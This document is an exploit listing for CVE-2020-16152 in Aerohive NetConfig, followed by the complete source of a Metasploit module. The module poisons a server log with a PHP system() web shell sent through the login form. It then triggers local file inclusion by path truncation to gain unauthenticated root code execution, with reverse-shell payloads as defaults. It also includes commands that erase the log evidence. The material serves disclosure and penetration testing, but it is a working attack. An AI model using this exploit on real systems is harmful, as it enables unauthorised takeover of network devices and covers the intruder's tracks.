Aerohive NetConfig 10.0r8a Local File Inclusion / Remote Code Execution

2021.11.14
Credit: Erik Wynter
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-98


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE', 'Description' => %q{ This module exploits LFI and log poisoning vulnerabilities (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a build-242466 and older in order to achieve unauthenticated remote code execution as the root user. NetConfig is the Aerohive/Extreme Networks HiveOS administrative webinterface. Vulnerable versions allow for LFI because they rely on a version of PHP 5 that is vulnerable to string truncation attacks. This module leverages this issue in conjunction with log poisoning to gain RCE as root. Upon successful exploitation, the Aerohive NetConfig application will hang for as long as the spawned shell remains open. Closing the session should render the app responsive again. The module provides an automatic cleanup option to clean the log. However, this option is disabled by default because any modifications to the /tmp/messages log, even via sed, may render the target (temporarily) unexploitable. This state can last over an hour. This module has been successfully tested against Aerohive NetConfig versions 8.2r4 and 10.0r7a. }, 'License' => MSF_LICENSE, 'Author' => [ 'Erik de Jong', # github.com/eriknl - discovery and PoC 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-16152'], # still categorized as RESERVED ['URL', 'https://github.com/eriknl/CVE-2020-16152'] # analysis and PoC code ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'Platform' => %w[linux unix], 'Arch' => [ ARCH_ARMLE, ARCH_CMD ], 'Targets' => [ [ 'Linux', { 'Arch' => [ARCH_ARMLE], 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => 'curl' } } ], [ 'CMD', { 'Arch' => [ARCH_CMD], 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' # this may be the only payload that works for this target' } } ] ], 'Privileged' => true, 'DisclosureDate' => '2020-02-17', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('TARGETURI', [true, 'The base path to Aerohive NetConfig', '/']), OptBool.new('AUTO_CLEAN_LOG', [true, 'Automatically clean the /tmp/messages log upon spawning a shell. WARNING! This may render the target unexploitable', false]), ] end def auto_clean_log datastore['AUTO_CLEAN_LOG'] end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php5') }) unless res return CheckCode::Unknown('Connection failed.') end unless res.code == 200 && res.body.include?('Aerohive NetConfig UI') return CheckCode::Safe('Target is not an Aerohive NetConfig application.') end version = res.body.scan(/action="login\.php5\?version=(.*?)"/)&.flatten&.first unless version return CheckCode::Detected('Could not determine Aerohive NetConfig version.') end begin if Rex::Version.new(version) <= Rex::Version.new('10.0r8a') return CheckCode::Appears("The target is Aerohive NetConfig version #{version}") else print_warning('It should be noted that it is unclear if/when this issue was patched, so versions after 10.0r8a may still be vulnerable.') return CheckCode::Safe("The target is Aerohive NetConfig version #{version}") end rescue StandardError => e return CheckCode::Unknown("Failed to obtain a valid Aerohive NetConfig version: #{e}") end end def poison_log password = rand_text_alphanumeric(8..12) @shell_cmd_name = rand_text_alphanumeric(3..6) @poison_cmd = "<?php system($_POST['#{@shell_cmd_name}']);?>" # Poison /tmp/messages print_status('Attempting to poison the log at /tmp/messages...') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php5'), 'vars_post' => { 'login_auth' => 0, 'miniHiveUI' => 1, 'authselect' => 'Name/Password', 'userName' => @poison_cmd, 'password' => password } }) unless res fail_with(Failure::Disconnected, 'Connection failed while trying to poison the log at /tmp/messages') end unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==') fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to poison the log at /tmp/messages') end print_status('Server responded as expected. Continuing...') end def on_new_session(session) log_cleaned = false if auto_clean_log print_status('Attempting to clean the log file at /tmp/messages...') print_warning('Please note this will render the target (temporarily) unexploitable. This state can last over an hour.') begin # We need remove the line containing the PHP system call from /tmp/messages # The special chars in the PHP syscall make it nearly impossible to use sed to replace the PHP syscall with a regular username. # Instead, let's avoid special chars by stringing together some grep commands to make sure we have the right line and then removing that entire line # The impact of using sed to edit the file on the fly and using grep to create a new file and overwrite /tmp/messages with it, is the same: # In both cases the app will likely stop writing to /tmp/messages for quite a while (could be over an hour), rendering the target unexploitable during that period. line_to_delete_file = "/tmp/#{rand_text_alphanumeric(5..10)}" clean_messages_file = "/tmp/#{rand_text_alphanumeric(5..10)}" cmds_to_clean_log = "grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system' > #{line_to_delete_file}; "\ "grep -vFf #{line_to_delete_file} /tmp/messages > #{clean_messages_file}; mv #{clean_messages_file} /tmp/messages; rm -f #{line_to_delete_file}" if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.sys.process.execute('/bin/sh', "-c \"#{cmds_to_clean_log}\"") # Wait for cleanup Rex.sleep 5 # Check for the PHP system call in /tmp/messages messages_contents = session.fs.file.open('/tmp/messages').read.to_s # using =~ here produced unexpected results, so include? is used instead unless messages_contents.include?(@poison_cmd) log_cleaned = true end elsif session.type.to_s.eql?('shell') session.shell_command_token(cmds_to_clean_log.to_s) # Check for the PHP system call in /tmp/messages poison_evidence = session.shell_command_token("grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system'") # using =~ here produced unexpected results, so include? is used instead unless poison_evidence.include?(@poison_cmd) log_cleaned = true end end rescue StandardError => e print_error("Error during cleanup: #{e.message}") ensure super end unless log_cleaned print_warning("Could not replace the PHP system call '#{@poison_cmd}' in /tmp/messages") end end if log_cleaned print_good('Successfully cleaned up the log by deleting the line with the PHP syscal from /tmp/messages.') else print_warning("Erasing the log poisoning evidence will require manually editing/removing the line in /tmp/messages that contains the poison command:\n\t#{@poison_cmd}") print_warning('Please note that any modifications to /tmp/messages, even via sed, will render the target (temporarily) unexploitable. This state can last over an hour.') print_warning('Deleting /tmp/messages or clearing out the file may break the application.') end end def execute_command(cmd, _opts = {}) print_status('Attempting to execute the payload') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'action.php5'), 'vars_get' => { '_action' => 'list', 'debug' => 'true' }, 'vars_post' => { '_page' => rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages', # Trigger LFI through path truncation @shell_cmd_name => cmd } }, 0) print_warning('In case of successful exploitation, the Aerohive NetConfig web application will hang for as long as the spawned shell remains open.') end def exploit poison_log if target.arch.first == ARCH_CMD print_status('Executing the payload') execute_command(payload.encoded) else execute_cmdstager(background: true) end end end


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